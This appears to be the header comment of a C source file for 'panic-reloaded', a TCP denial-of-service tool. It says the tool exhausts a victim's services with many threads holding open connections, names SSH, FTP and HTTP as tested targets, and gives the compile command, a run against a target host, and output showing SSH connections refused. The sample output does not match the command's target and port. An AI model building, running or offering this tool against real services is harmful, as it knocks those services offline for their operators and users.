 *
 * Description: TCP Denial Of Service Tool. panic-reloaded does
 * 		not require large link or fast internet connection,
 * 		it creates many pthreads, leaving openned connections
 * 		to victim host. It is fast and an efficient way to
 * 		deny a TCP service.
 *
 * 		Tested against SSH, FTP, HTTP.
 * 
 * TTY1:
 * hash@scarface:~$ gcc -lpthread panic-reloaded.c -o panic-reloaded -Wall
 * hash@scarface:~$ ./panic-reloaded3 10.10.10.2 22 20 100 10
 * panic-reloaded.c
 * written by hash <http://gotfault.net>
 * [!] Target: localhost:443
 * [!] Threads: 20 for each round
 * [*] Countdown: 40 | [!] Sleeping: 10s
 *
 * TTY2:
 * hash@scarface:~$ ssh localhost 
 * ssh_exchange_identification: Connection closed by remote host
 * hash@scarface:~$
 *
 * 
 * Greets to folks from gotfault, rfdslabs, tripbit 
 * and to friends out there.
